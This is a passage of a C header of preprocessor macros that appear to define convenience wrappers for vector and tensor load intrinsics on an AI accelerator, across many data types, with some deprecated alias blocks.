i, p, o)\n#define v_u8_ld_l_v_s_b(a, i, p, o) v_u8_ld_l_v_b(a, 0, i, p, o)\n#define bv_ld_l_v_s_b(a, i, p, o) v_i1_ld_l_v_b(a, 0, i, p, o)\n\n#define v_f32_ld_l_v_s(a) v_f32_ld_l_v_s_b(a, 0, 1, 0)\n#define v_bf16_ld_l_v_s(a) v_bf16_ld_l_v_s_b(a, 0, 1, 0)\n#define v_i32_ld_l_v_s(a) v_i32_ld_l_v_s_b(a, 0, 1, 0)\n#define v_u32_ld_l_v_s(a) v_u32_ld_l_v_s_b(a, 0, 1, 0)\n#define v_i16_ld_l_v_s(a) v_i16_ld_l_v_s_b(a, 0, 1, 0)\n#define v_u16_ld_l_v_s(a) v_u16_ld_l_v_s_b(a, 0, 1, 0)\n#define v_i8_ld_l_v_s(a) v_i8_ld_l_v_s_b(a, 0, 1, 0)\n#define v_u8_ld_l_v_s(a) v_u8_ld_l_v_s_b(a, 0, 1, 0)\n#define bv_ld_l_v_s(a) bv_ld_l_v_s_b(a, (bool256){0}, 1, 0)\n\n#define v_f32_ld_l_v_high_s_vb(a, i, p, o) v_f32_ld_l_v_high_vb(a, 0, i, to_bool64(p), o)\n#define v_bf16_ld_l_v_high_s_vb(a, i, p, o) v_bf16_ld_l_v_high_vb(a, 0, i, to_bool128(p), o)\n#define v_i32_ld_l_v_high_s_vb(a, i, p, o) v_i32_ld_l_v_high_vb(a, 0, i, to_bool64(p), o)\n#define v_u32_ld_l_v_high_s_vb(a, i, p, o) v_u32_ld_l_v_high_vb(a, 0, i, to_bool64(p), o)\n#define v_i16_ld_l_v_high_s_vb(a, i, p, o) v_i16_ld_l_v_high_vb(a, 0, i, to_bool128(p), o)\n#define v_u16_ld_l_v_high_s_vb(a, i, p, o) v_u16_ld_l_v_high_vb(a, 0, i, to_bool128(p), o)\n#define v_i8_ld_l_v_high_s_vb(a, i, p, o) v_i8_ld_l_v_high_vb(a, 0, i, p, o)\n#define v_u8_ld_l_v_high_s_vb(a, i, p, o) v_u8_ld_l_v_high_vb(a, 0, i, p, o)\n#define bv_ld_l_v_high_s_vb(a, i, p, o) v_i1_ld_l_v_high_vb(a, 0, i, p, o)\n\n#define v_f32_ld_l_v_high_s_b(a, i, p, o) v_f32_ld_l_v_high_b(a, 0, i, p, o)\n#define v_bf16_ld_l_v_high_s_b(a, i, p, o) v_bf16_ld_l_v_high_b(a, 0, i, p, o)\n#define v_i32_ld_l_v_high_s_b(a, i, p, o) v_i32_ld_l_v_high_b(a, 0, i, p, o)\n#define v_u32_ld_l_v_high_s_b(a, i, p, o) v_u32_ld_l_v_high_b(a, 0, i, p, o)\n#define v_i16_ld_l_v_high_s_b(a, i, p, o) v_i16_ld_l_v_high_b(a, 0, i, p, o)\n#define v_u16_ld_l_v_high_s_b(a, i, p, o) v_u16_ld_l_v_high_b(a, 0, i, p, o)\n#define v_i8_ld_l_v_high_s_b(a, i, p, o) v_i8_ld_l_v_high_b(a, 0, i, p, o)\n#define v_u8_ld_l_v_high_s_b(a, i, p, o) v_u8_ld_l_v_high_b(a, 0, i, p, o)\n#define bv_ld_l_v_high_s_b(a, i, p, o) v_i1_ld_l_v_high_b(a, 0, i, p, o)\n\n#define v_f32_ld_l_v_high_s(a) v_f32_ld_l_v_high_s_b(a, 0, 1, 0)\n#define v_bf16_ld_l_v_high_s(a) v_bf16_ld_l_v_high_s_b(a, 0, 1, 0)\n#define v_i32_ld_l_v_high_s(a) v_i32_ld_l_v_high_s_b(a, 0, 1, 0)\n#define v_u32_ld_l_v_high_s(a) v_u32_ld_l_v_high_s_b(a, 0, 1, 0)\n#define v_i16_ld_l_v_high_s(a) v_i16_ld_l_v_high_s_b(a, 0, 1, 0)\n#define v_u16_ld_l_v_high_s(a) v_u16_ld_l_v_high_s_b(a, 0, 1, 0)\n#define v_i8_ld_l_v_high_s(a) v_i8_ld_l_v_high_s_b(a, 0, 1, 0)\n#define v_u8_ld_l_v_high_s(a) v_u8_ld_l_v_high_s_b(a, 0, 1, 0)\n#define bv_ld_l_v_high_s(a) bv_ld_l_v_high_s_b(a, (bool256){0}, 1, 0)\n\n#define v_f32_ld_l_v_low_s_vb(a, i, p, o) v_f32_ld_l_v_low_vb(a, 0, i, to_bool64(p), o)\n#define v_bf16_ld_l_v_low_s_vb(a, i, p, o) v_bf16_ld_l_v_low_vb(a, 0, i, to_bool128(p), o)\n#define v_i32_ld_l_v_low_s_vb(a, i, p, o) v_i32_ld_l_v_low_vb(a, 0, i, to_bool64(p), o)\n#define v_u32_ld_l_v_low_s_vb(a, i, p, o) v_u32_ld_l_v_low_vb(a, 0, i, to_bool64(p), o)\n#define v_i16_ld_l_v_low_s_vb(a, i, p, o) v_i16_ld_l_v_low_vb(a, 0, i, to_bool128(p), o)\n#define v_u16_ld_l_v_low_s_vb(a, i, p, o) v_u16_ld_l_v_low_vb(a, 0, i, to_bool128(p), o)\n#define v_i8_ld_l_v_low_s_vb(a, i, p, o) v_i8_ld_l_v_low_vb(a, 0, i, p, o)\n#define v_u8_ld_l_v_low_s_vb(a, i, p, o) v_u8_ld_l_v_low_vb(a, 0, i, p, o)\n#define bv_ld_l_v_low_s_vb(a, i, p, o) v_i1_ld_l_v_low_vb(a, 0, i, p, o)\n\n#define v_f32_ld_l_v_low_s_b(a, i, p, o) v_f32_ld_l_v_low_b(a, 0, i, p, o)\n#define v_bf16_ld_l_v_low_s_b(a, i, p, o) v_bf16_ld_l_v_low_b(a, 0, i, p, o)\n#define v_i32_ld_l_v_low_s_b(a, i, p, o) v_i32_ld_l_v_low_b(a, 0, i, p, o)\n#define v_u32_ld_l_v_low_s_b(a, i, p, o) v_u32_ld_l_v_low_b(a, 0, i, p, o)\n#define v_i16_ld_l_v_low_s_b(a, i, p, o) v_i16_ld_l_v_low_b(a, 0, i, p, o)\n#define v_u16_ld_l_v_low_s_b(a, i, p, o) v_u16_ld_l_v_low_b(a, 0, i, p, o)\n#define v_i8_ld_l_v_low_s_b(a, i, p, o) v_i8_ld_l_v_low_b(a, 0, i, p, o)\n#define v_u8_ld_l_v_low_s_b(a, i, p, o) v_u8_ld_l_v_low_b(a, 0, i, p, o)\n#define bv_ld_l_v_low_s_b(a, i, p, o) v_i1_ld_l_v_low_b(a, 0, i, p, o)\n\n#define v_f32_ld_l_v_low_s(a) v_f32_ld_l_v_low_s_b(a, 0, 1, 0)\n#define v_bf16_ld_l_v_low_s(a) v_bf16_ld_l_v_low_s_b(a, 0, 1, 0)\n#define v_i32_ld_l_v_low_s(a) v_i32_ld_l_v_low_s_b(a, 0, 1, 0)\n#define v_u32_ld_l_v_low_s(a) v_u32_ld_l_v_low_s_b(a, 0, 1, 0)\n#define v_i16_ld_l_v_low_s(a) v_i16_ld_l_v_low_s_b(a, 0, 1, 0)\n#define v_u16_ld_l_v_low_s(a) v_u16_ld_l_v_low_s_b(a, 0, 1, 0)\n#define v_i8_ld_l_v_low_s(a) v_i8_ld_l_v_low_s_b(a, 0, 1, 0)\n#define v_u8_ld_l_v_low_s(a) v_u8_ld_l_v_low_s_b(a, 0, 1, 0)\n#define bv_ld_l_v_low_s(a) bv_ld_l_v_low_s_b(a, (bool256){0}, 1, 0)\n\n#define prefetch_a_b(a, p, o) prefetch(a, 0, p, o)\n#define prefetch_a(a) prefetch_a_b(a, 1, 0)\n\n// LD_TNSR\n\n#define v_f32_ld_tnsr_i_b(n, t, i, p, o) v_f32_ld_tnsr_b(n, t, 0, i, p, o)\n#define v_bf16_ld_tnsr_i_b(n, t, i, p, o) v_bf16_ld_tnsr_b(n, t, 0, i, p, o)\n#define v_i32_ld_tnsr_i_b(n, t, i, p, o) v_i32_ld_tnsr_b(n, t, 0, i, p, o)\n#define v_u32_ld_tnsr_i_b(n, t, i, p, o) v_u32_ld_tnsr_b(n, t, 0, i, p, o)\n#define v_i16_ld_tnsr_i_b(n, t, i, p, o) v_i16_ld_tnsr_b(n, t, 0, i, p, o)\n#define v_u16_ld_tnsr_i_b(n, t, i, p, o) v_u16_ld_tnsr_b(n, t, 0, i, p, o)\n#define v_i8_ld_tnsr_i_b(n, t, i, p, o) v_i8_ld_tnsr_b(n, t, 0, i, p, o)\n#define v_u8_ld_tnsr_i_b(n, t, i, p, o) v_u8_ld_tnsr_b(n, t, 0, i, p, o)\n#define bv_ld_tnsr_i_b(n, t, i, p, o) v_i1_ld_tnsr_b(n, t, 0, i, p, o)\n\n#define v_f32_ld_tnsr_i_vb(n, t, i, p, o) v_f32_ld_tnsr_vb(n, t, 0, i, to_bool64(p), o)\n#define v_bf16_ld_tnsr_i_vb(n, t, i, p, o) v_bf16_ld_tnsr_vb(n, t, 0, i, to_bool128(p), o)\n#define v_i32_ld_tnsr_i_vb(n, t, i, p, o) v_i32_ld_tnsr_vb(n, t, 0, i, to_bool64(p), o)\n#define v_u32_ld_tnsr_i_vb(n, t, i, p, o) v_u32_ld_tnsr_vb(n, t, 0, i, to_bool64(p), o)\n#define v_i16_ld_tnsr_i_vb(n, t, i, p, o) v_i16_ld_tnsr_vb(n, t, 0, i, to_bool128(p), o)\n#define v_u16_ld_tnsr_i_vb(n, t, i, p, o) v_u16_ld_tnsr_vb(n, t, 0, i, to_bool128(p), o)\n#define v_i8_ld_tnsr_i_vb(n, t, i, p, o) v_i8_ld_tnsr_vb(n, t, 0, i, p, o)\n#define v_u8_ld_tnsr_i_vb(n, t, i, p, o) v_u8_ld_tnsr_vb(n, t, 0, i, p, o)\n#define bv_ld_tnsr_i_vb(n, t, i, p, o) v_i1_ld_tnsr_vb(n, t, 0, i, p, o)\n\n#define v_f32_ld_tnsr_i(n, t) v_f32_ld_tnsr_i_b(n, t, 0, 1, 0)\n#define v_bf16_ld_tnsr_i(n, t) v_bf16_ld_tnsr_i_b(n, t, 0, 1, 0)\n#define v_i32_ld_tnsr_i(n, t) v_i32_ld_tnsr_i_b(n, t, 0, 1, 0)\n#define v_u32_ld_tnsr_i(n, t) v_u32_ld_tnsr_i_b(n, t, 0, 1, 0)\n#define v_i16_ld_tnsr_i(n, t) v_i16_ld_tnsr_i_b(n, t, 0, 1, 0)\n#define v_u16_ld_tnsr_i(n, t) v_u16_ld_tnsr_i_b(n, t, 0, 1, 0)\n#define v_i8_ld_tnsr_i(n, t) v_i8_ld_tnsr_i_b(n, t, 0, 1, 0)\n#define v_u8_ld_tnsr_i(n, t) v_u8_ld_tnsr_i_b(n, t, 0, 1, 0)\n#define bv_ld_tnsr_i(n, t) bv_ld_tnsr_i_b(n, t, (bool256){0}, 1, 0)\n\n// TODO: Deprecate them vvv\n#define v_f32_ld_tnsr_reg_i_s_b v_f32_ld_tnsr_i_b\n#define v_bf16_ld_tnsr_reg_i_s_b v_bf16_ld_tnsr_i_b\n#define v_i32_ld_tnsr_reg_i_s_b v_i32_ld_tnsr_i_b\n#define v_u32_ld_tnsr_reg_i_s_b v_u32_ld_tnsr_i_b\n#define v_i16_ld_tnsr_reg_i_s_b v_i16_ld_tnsr_i_b\n#define v_u16_ld_tnsr_reg_i_s_b v_u16_ld_tnsr_i_b\n#define v_i8_ld_tnsr_reg_i_s_b v_i8_ld_tnsr_i_b\n#define v_u8_ld_tnsr_reg_i_s_b v_u8_ld_tnsr_i_b\n#define bv_ld_tnsr_reg_i_s_b bv_ld_tnsr_i_b\n\n#define v_f32_ld_tnsr_reg_i_s_vb v_f32_ld_tnsr_i_vb\n#define v_bf16_ld_tnsr_reg_i_s_vb v_bf16_ld_tnsr_i_vb\n#define v_i32_ld_tnsr_reg_i_s_vb v_i32_ld_tnsr_i_vb\n#define v_u32_ld_tnsr_reg_i_s_vb v_u32_ld_tnsr_i_vb\n#define v_i16_ld_tnsr_reg_i_s_vb v_i16_ld_tnsr_i_vb\n#define v_u16_ld_tnsr_reg_i_s_vb v_u16_ld_tnsr_i_vb\n#define v_i8_ld_tnsr_reg_i_s_vb v_i8_ld_tnsr_i_vb\n#define v_u8_ld_tnsr_reg_i_s_vb v_u8_ld_tnsr_i_vb\n#define bv_ld_tnsr_reg_i_s_vb bv_ld_tnsr_i_vb\n\n#define v_f32_ld_tnsr_reg_i_s v_f32_ld_tnsr_i\n#define v_bf16_ld_tnsr_reg_i_s v_bf16_ld_tnsr_i\n#define v_i32_ld_tnsr_reg_i_s v_i32_ld_tnsr_i\n#define v_u32_ld_tnsr_reg_i_s v_u32_ld_tnsr_i\n#define v_i16_ld_tnsr_reg_i_s v_i16_ld_tnsr_i\n#define v_u16_ld_tnsr_reg_i_s v_u16_ld_tnsr_i\n#define v_i8_ld_tnsr_reg_i_s v_i8_ld_tnsr_i\n#define v_u8_ld_tnsr_reg_i_s v_u8_ld_tnsr_i\n#define bv_ld_tnsr_reg_i_s bv_ld_tnsr_i\n// TODO: Deprecate them ^^^\n\n#define v_f32_ld_tnsr_partial_i_b(n, t, i, s, f, p, o) v_f32_ld_tnsr_partial_b(n, t, s, f, 0, i, p, o)\n#define v_bf16_ld_tnsr_partial_i_b(n, t, i, s, f, p, o) v_bf16_ld_tnsr_partial_b(n, t, s, f, 0, i, p, o)\n#define v_i32_ld_tnsr_partial_i_b(n, t, i, s, f, p, o) v_i32_ld_tnsr_partial_b(n, t, s, f, 0, i, p, o)\n#define v_u32_ld_tnsr_partial_i_b(n, t, i, s, f, p, o) v_u32_ld_tnsr_partial_b(n, t, s, f, 0, i, p, o)\n#define v_i16_ld_tnsr_partial_i_b(n, t, i, s, f, p, o) v_i16_ld_tnsr_partial_b(n, t, s, f, 0, i, p, o)\n#define v_u16_ld_tnsr_partial_i_b(n, t, i, s, f, p, o) v_u16_ld_tnsr_partial_b(n, t, s, f, 0, i, p, o)\n#define v_i8_ld_tnsr_partial_i_b(n, t, i, s, f, p, o) v_i8_ld_tnsr_partial_b(n, t, s, f, 0, i, p, o)\n#define v_u8_ld_tnsr_partial_i_b(n, t, i, s, f, p, o) v_u8_ld_tnsr_partial_b(n, t, s, f, 0, i, p, o)\n#define bv_ld_tnsr_partial_i_b(n, t, i, s, f, p, o) v_i1_ld_tnsr_partial_b(n, t, s, f, 0, i, p, o)\n\n#define v_f32_ld_tnsr_partial_i_vb(n, t, i, s, f, p, o) v_f32_ld_tnsr_partial_vb(n, t, s, f, 0, i, to_bool64(p), o)\n#define v_bf16_ld_tnsr_partial_i_vb(n, t, i, s, f, p, o) v_bf16_ld_tnsr_partial_vb(n, t, s, f, 0, i, to_bool128(p), o)\n#define v_i32_ld_tnsr_partial_i_vb(n, t, i, s, f, p, o) v_i32_ld_tnsr_partial_vb(n, t, s, f, 0, i, to_bool64(p), o)\n#define v_u32_ld_tnsr_partial_i_vb(n, t, i, s, f, p, o) v_u32_ld_tnsr_partial_vb(n, t, s, f, 0, i, to_bool64(p), o)\n#define v_i16_ld_tnsr_partial_i_vb(n, t, i, s, f, p, o) v_i16_ld_tnsr_partial_vb(n, t, s, f, 0, i, to_bool128(p), o)\n#define v_u16_ld_tnsr_partial_i_vb(n, t, i, s, f, p, o) v_u16_ld_tnsr_partial_vb(n, t, s, f, 0, i, to_bool128(p), o)\n#define v_i8_ld_tnsr_partial_i_vb(n, t, i, s, f, p, o) v_i8_ld_tnsr_partial_vb(n, t, s, f, 0, i, p, o)\n#define v_u8_ld_tnsr_partial_i_vb(n, t, i, s, f, p, o) v_u8_ld_tnsr_partial_vb(n, t, s, f, 0, i, p, o)\n#define bv_ld_tnsr_partial_i_vb(n, t, i, s, f, p, o) v_i1_ld_tnsr_partial_vb(n, t, s, f, 0, i, p, o)\n\n#define v_f32_ld_tnsr_partial_i(n, t, s, f) v_f32_ld_tnsr_partial_i_b(n, t, 0, s, f, 1, 0)\n#define v_bf16_ld_tnsr_partial_i(n, t, s, f) v_bf16_ld_tnsr_partial_i_b(n, t, 0, s, f, 1, 0)\n#define v_i32_ld_tnsr_partial_i(n, t, s, f) v_i32_ld_tnsr_partial_i_b(n, t, 0, s, f, 1, 0)\n#define v_u32_ld_tnsr_partial_i(n, t, s, f) v_u32_ld_tnsr_partial_i_b(n, t, 0, s, f, 1, 0)\n#define v_i16_ld_tnsr_partial_i(n, t, s, f) v_i16_ld_tnsr_partial_i_b(n, t, 0, s, f, 1, 0)\n#define v_u16_ld_tnsr_partial_i(n, t, s, f) v_u16_ld_tnsr_partial_i_b(n, t, 0, s, f, 1, 0)\n#define v_i8_ld_tnsr_partial_i(n, t, s, f) v_i8_ld_tnsr_partial_i_b(n, t, 0, s, f, 1, 0)\n#define v_u8_ld_tnsr_partial_i(n, t, s, f) v_u8_ld_tnsr_partial_i_b(n, t, 0, s, f, 1, 0)\n#define bv_ld_tnsr_partial_i(n, t, s, f) bv_ld_tnsr_partial_i_b(n, t, (bool256){0}, s, f, 1, 0)\n\n// TODO: Deprecate them vvv\n#define v_f32_ld_tnsr_partial_reg_i_s_b v_f32_ld_tnsr_partial_i_b\n#define v_bf16_ld_tnsr_partial_reg_i_s_b v_bf16_ld_tnsr_partial_i_b\n#define v_i32_ld_tnsr_partial_reg_i_s_b v_i32_ld_tnsr_partial_i_b\n#define v_u32_ld_tnsr_partial_reg_i_s_b v_u32_ld_tnsr_partial_i_b\n#define v_i16_ld_tnsr_partial_reg_i_s_b v_i16_ld_tnsr_partial_i_b\n#define v_u16_ld_tnsr_partial_reg_i_s_b v_u16_ld_tnsr_partial_i_b\n#define v_i8_ld_tnsr_partial_reg_i_s_b v_i8_ld_tnsr_partial_i_b\n#define v_u8_ld_tnsr_partial_reg_i_s_b v_u8_ld_tnsr_partial_i_b\n#define bv_ld_tnsr_partial_reg_i_s_b bv_ld_tnsr_partial_i_b\n\n#define v_f32_ld_tnsr_partial_reg_i_s_vb v_f32_ld_tnsr_partial_i_vb\n#define v_bf16_ld_tnsr_partial_reg_i_s_vb v_bf16_ld_tnsr_partial_i_vb\n#define v_i32_ld_tnsr_partial_reg_i_s_vb v_i32_ld_tnsr_partial_i_vb\n#define v_u32_ld_tnsr_partial_reg_i_s_vb v_u32_ld_tnsr_partial_i_vb\n#define v_i16_ld_tnsr_partial_reg_i_s_vb v_i16_ld_tnsr_partial_i_vb\n#define v_u16_ld_tnsr_partial_reg_i_s_vb v_u16_ld_tnsr_partial_i_vb\n#define v_i8_ld_tnsr_partial_reg_i_s_vb v_i8_ld_tnsr_partial_i_vb\n#define v_u8_ld_tnsr_partial_reg_i_s_vb v_u8_ld_tnsr_partial_i_vb\n#define bv_ld_tnsr_partial_reg_i_s_vb bv_ld_tnsr_partial_i_vb\n\n#define v_f32_ld_tnsr_partial_reg_i_s v_f32_ld_tnsr_partial_i\n#define v_bf16_ld_tnsr_partial_reg_i_s v_bf16_ld_tnsr_partial_i\n#define v_i32_ld_tnsr_partial_reg_i_s v_i32_ld_tnsr_partial_i\n#define v_u32_ld_tnsr_partial_reg_i_s v_u32_ld_tnsr_partial_i\n#define v_i16_ld_tnsr_partial_reg_i_s v_i16_ld_tnsr_partial_i\n#define v_u16_ld_tnsr_partial_reg_i_s v_u16_ld_tnsr_partial_i\n#define v_i8_ld_tnsr_partial_reg_i_s v_i8_ld_tnsr_partial_i\n#define v_u8_ld_tnsr_partial_reg_i_s v_u8_ld_tnsr_partial_i\n#define bv_ld_tnsr_partial_reg_i_s bv_ld_tnsr_partial_i\n// TODO: Deprecate them ^^^\n\n\n// LD_TNSR_LOW\n\n#define v_f32_ld_tnsr_low_i_b(n, t, i, p, o) v_f32_ld_tnsr_low_b(n, t, 0, i, p, o)\n#define v_bf16_ld_tnsr_low_i_b(n, t, i, p, o) v_bf16_ld_tnsr_low_b(n, t, 0, i, p, o)\n#define v_i32_ld_tnsr_low_i_b(n, t, i, p, o) v_i32_ld_tnsr_low_b(n, t, 0, i, p, o)\n#define v_u32_ld_tnsr_low_i_b(n, t, i, p, o) v_u32_ld_tnsr_low_b(n, t, 0, i, p, o)\n#define v_i16_ld_tnsr_low_i_b(n, t, i, p, o) v_i16_ld_tnsr_low_b(n, t, 0, i, p, o)\n#define v_u16_ld_tnsr_low_i_b(n, t, i, p, o) v_u16_ld_tnsr_low_b(n, t, 0, i, p, o)\n#define v_i8_ld_tnsr_low_i_b(n, t, i, p, o) v_i8_ld_tnsr_low_b(n, t, 0, i, p, o)\n#define v_u8_ld_tnsr_low_i_b(n, t, i, p, o) v_u8_ld_tnsr_low_b(n, t, 0, i, p, o)\n#define bv_ld_tnsr_low_i_b(n, t, i, p, o) v_i1_ld_tnsr_low_b(n, t, 0, i, p, o)\n\n#define v_f32_ld_tnsr_low_i_vb(n, t, i, p, o) v_f32_ld_tnsr_low_vb(n, t, 0, i, to_bool64(p), o)\n#define v_bf16_ld_tnsr_low_i_vb(n, t, i, p, o) v_bf16_ld_tnsr_low_vb(n, t, 0, i, to_bool128(p), o)\n#define v_i32_ld_tnsr_low_i_vb(n, t, i, p, o) v_i32_ld_tnsr_low_vb(n, t, 0, i, to_bool64(p), o)\n#define v_u32_ld_tnsr_low_i_vb(n, t, i, p, o) v_u32_ld_tnsr_low_vb(n, t, 0, i, to_bool64(p), o)\n#define v_i16_ld_tnsr_low_i_vb(n, t, i, p, o) v_i16_ld_tnsr_low_vb(n, t, 0, i, to_bool128(p), o)\n#define v_u16_ld_tnsr_low_i_vb(n, t, i, p, o) v_u16_ld_tnsr_low_vb(n, t, 0, i, to_bool128(p), o)\n#define v_i8_ld_tnsr_low_i_vb(n, t, i, p, o) v_i8_ld_tnsr_low_vb(n, t, 0, i, p, o)\n#define v_u8_ld_tnsr_low_i_vb(n, t, i, p, o) v_u8_ld_tnsr_low_vb(n, t, 0, i, p, o)\n#define bv_ld_tnsr_low_i_vb(n, t, i, p, o) v_i1_ld_tnsr_low_vb(n, t, 0, i, p, o)\n\n#define v_f32_ld_tnsr_low_i(n, t) v_f32_ld_tnsr_low_i_b(n, t, 0, 1, 0)\n#define v_bf16_ld_tnsr_low_i(n, t) v_bf16_ld_tnsr_low_i_b(n, t, 0, 1, 0)\n#define v_i32_ld_tnsr_low_i(n, t) v_i32_ld_tnsr_low_i_b(n, t, 0, 1, 0)\n#define v_u32_ld_tnsr_low_i(n, t) v_u32_ld_tnsr_low_i_b(n, t, 0, 1, 0)\n#define v_i16_ld_tnsr_low_i(n, t) v_i16_ld_tnsr_low_i_b(n, t, 0, 1, 0)\n#define v_u16_ld_tnsr_low_i(n, t) v_u16_ld_tnsr_low_i_b(n, t, 0, 1, 0)\n#define v_i8_ld_tnsr_low_i(n, t) v_i8_ld_tnsr_low_i_b(n, t, 0, 1, 0)\n#define v_u8_ld_tnsr_low_i(n, t) v_u8_ld_tnsr_low_i_b(n, t, 0, 1, 0)\n#define bv_ld_tnsr_low_i(n, t) bv_ld_tnsr_low_i_b(n, t, (bool256){0}, 1, 0)\n\n// TODO: Deprecate them vvv\n#define v_f32_ld_tnsr_low_reg_i_s_b v_f32_ld_tnsr_low_i_b\n#define v_bf16_ld_tnsr_low_reg_i_s_b v_bf16_ld_tnsr_low_i_b\n#define v_i32_ld_tnsr_low_reg_i_s_b v_i32_ld_tnsr_low_i_b\n#define v_u32_ld_tnsr_low_reg_i_s_b v_u32_ld_tnsr_low_i_b\n#define v_i16_ld_tnsr_low_reg_i_s_b v_i16_ld_tnsr_low_i_b\n#define v_u16_ld_tnsr_low_reg_i_s_b v_u16_ld_tnsr_low_i_b\n#define v_i8_ld_tnsr_low_reg_i_s_b v_i8_ld_tnsr_low_i_b\n#define v_u8_ld_tnsr_low_reg_i_s_b v_u8_ld_tnsr_low_i_b\n#define bv_ld_tnsr_low_reg_i_s_b bv_ld_tnsr_low_i_b\n\n#define v_f32_ld_tnsr_low_reg_i_s_vb v_f32_ld_tnsr_low_i_vb\n#define v_bf16_ld_tnsr_low_reg_i_s_vb v_bf16_ld_tnsr_low_i_vb\n#define v_i32_ld_tnsr_low_reg_i_s_vb v_i32_ld_tnsr_low_i_vb\n#define v_u32_ld_tnsr_low_reg_i_s_vb v_u32_ld_tnsr_low_i_vb\n#define v_i16_ld_tnsr_low_reg_i_s_vb v_i16_ld_tnsr_low_i_vb\n#define v_u16_ld_tnsr_low_reg_i_s_vb v_u16_ld_tnsr_low_i_vb\n#define v_i8_ld_tnsr_low_reg_i_s_vb v_i8_ld_tnsr_low_i_vb\n#define v_u8_ld_tnsr_low_reg_i_s_vb v_u8_ld_tnsr_low_i_vb\n#define bv_ld_tnsr_low_reg_i_s_vb bv_ld_tnsr_low_i_vb\n\n#define v_f32_ld_tnsr_low_reg_i_s v_f32_ld_tnsr_low_i\n#define v_bf16_ld_tnsr_low_reg_i_s v_bf16_ld_tnsr_low_i\n#define v_i32_ld_tnsr_low_reg_i_s v_i32_ld_tnsr_low_i\n#define v_u32_ld_tnsr_low_reg_i_s v_u32_ld_tnsr_low_i\n#define v_i16_ld_tnsr_low_reg_i_s v_i16_ld_tnsr_low_i\n#define v_u16_ld_tnsr_low_reg_i_s v_u16_ld_tnsr_low_i\n#define v_i8_ld_tnsr_low_reg_i_s v_i8_ld_tnsr_low_i\n#define v_u8_ld_tnsr_low_reg_i_s v_u8_ld_tnsr_low_i\n#define bv_ld_tnsr_low_reg_i_s bv_ld_tnsr_low_i\n// TODO: Deprecate them ^^^\n\n\n// LD_TNSR_HIGH\n\n#define v_f32_ld_tnsr_high_i_b(n, t, i, p, o) v_f32_ld_tnsr_high_b(n, t, 0, i, p, o)\n#define v_bf16_ld_tnsr_high_i_b(n, t, i, p, o) v_bf16_ld_tnsr_high_b(n, t, 0, i, p, o)\n#define v_i32_ld_tnsr_high_i_b(n, t, i, p, o) v_i32_ld_tnsr_high_b(n, t, 0, i, p, o)\n#define v_u32_ld_tnsr_high_i_b(n, t, i, p, o) v_u32_ld_tnsr_high_b(n, t, 0, i, p, o)\n#define v_i16_ld_tnsr_high_i_b(n, t, i, p, o) v_i16_ld_tnsr_high_b(n, t, 0, i, p, o)\n#define v_u16_ld_tnsr_high_i_b(n, t, i, p, o) v_u16_ld_tnsr_high_b(n, t, 0, i, p, o)\n#define v_i8_ld_tnsr_high_i_b(n, t, i, p, o) v_i8_ld_tnsr_high_b(n, t, 0, i, p, o)\n#define v_u8_ld_tnsr_high_i_b(n, t, i, p, o) v_u8_ld_tnsr_high_b(n, t, 0, i, p, o)\n#define bv_ld_tnsr_high_i_b(n, t, i, p, o) v_i1_ld_tnsr_high_b(n, t, 0, i, p, o)\n\n#define v_f32_ld_tnsr_high_i_vb(n, t, i, p, o) v_f32_ld_tnsr_high_vb(n, t, 0, i, to_bool64(p), o)\n#define v_bf16_ld_tnsr_high_i_vb(n, t, i, p, o) v_bf16_ld_tnsr_high_vb(n, t, 0, i, to_bool128(p), o)\n#define v_i32_ld_tnsr_high_i_vb(n, t, i, p, o) v_i32_ld_tnsr_high_vb(n, t, 0, i, to_bool64(p), o)\n#define v_u32_ld_tnsr_high_i_vb(n, t, i, p, o) v_u32_ld_tnsr_high_vb(n, t, 0, i, to_bool64(p), o)\n#define v_i16_ld_tnsr_high_i_vb(n, t, i, p, o) v_i16_ld_tnsr_high_vb(n, t, 0, i, to_bool128(p), o)\n#define v_u16_ld_tnsr_high_i_vb(n, t, i, p, o) v_u16_ld_tnsr_high_vb(n, t, 0, i, to_bool128(p), o)\n#define v_i8_ld_tnsr_high_i_vb(n, t, i, p, o) v_i8_ld_tnsr_high_vb(n, t, 0, i, p, o)\n#define v_u8_ld_tnsr_high_i_vb(n, t, i, p, o) v_u8_ld_tnsr_high_vb(n, t, 0, i, p, o)\n#define bv_ld_tnsr_high_i_vb(n, t, i, p, o) v_i1_ld_tnsr_high_vb(n, t, 0, i, p, o)\n\n#define v_f32_ld_tnsr_high_i(n, t) v_f32_ld_tnsr_high_i_b(n, t, 0, 1, 0)\n#define v_bf16_ld_tnsr_high_i(n, t) v_bf16_ld_tnsr_high_i_b(n, t, 0, 1, 0)\n#define v_i32_ld_tnsr_high_i(n, t) v_i32_ld_tnsr_high_i_b(n, t, 0, 1, 0)\n#define v_u32_ld_tnsr_high_i(n, t) v_u32_ld_tnsr_high_i_b(n, t, 0, 1, 0)\n#define v_i16_ld_tnsr_high_i(n, t) v_i16_ld_tnsr_high_i_b(n, t, 0, 1, 0)\n#define v_u16_ld_tnsr_high_i(n, t) v_u16_ld_tnsr_high_i_b(n, t, 0, 1, 0)\n#define v_i8_ld_tnsr_high_i(n, t) v_i8_ld_tnsr_high_i_b(n, t, 0, 1, 0)\n#define v_u8_ld_tnsr_high_i(n, t) v_u8_ld_tnsr_high_i_b(n, t, 0, 1, 0)\n#define bv_ld_tnsr_high_i(n, t) bv_ld_tnsr_high_i_b(n, t, (bool256){0}, 1, 0)\n\n// TODO: Deprecate them vvv\n#define v_f32_ld_tnsr_high_reg_i_s_b v_f32_ld_tnsr_high_i_b\n#define v_bf16_ld_tnsr_high_reg_i_s_b v_bf16_ld_tnsr_high_i_b\n#define v_i32_ld_tnsr_high_reg_i_s_b v_i32_ld_tnsr_high_i_b\n#define v_u32_ld_tnsr_high_reg_i_s_b v_u32_ld_tnsr_high_i_b\n#define v_i16_ld_tnsr_high_reg_i_s_b v_i16_ld_tnsr_high_i_b\n#define v_u16_ld_tnsr_high_reg_i_s_b v_u16_ld_tnsr_high_i_b\n#define v_i8_ld_tnsr_high_reg_i_s_b v_i8_ld_tnsr_high_i_b\n#define v_u8_ld_tnsr_high_reg_i_s_b v_u8_ld_tnsr_high_i_b\n#define bv_ld_tnsr_high_reg_i_s_b bv_ld_tnsr_high_i_b\n\n#define v_f32_ld_tnsr_high_reg_i_s_vb v_f32_ld_tnsr_high_i_vb\n#define v_bf16_ld_tnsr_high_reg_i_s_vb v_bf16_ld_tnsr_high_i_vb\n#define v_i32_ld_tnsr_high_reg_i_s_vb v_i32_ld_tnsr_high_i_vb\n#define v_u32_ld_tnsr_high_reg_i_s_vb 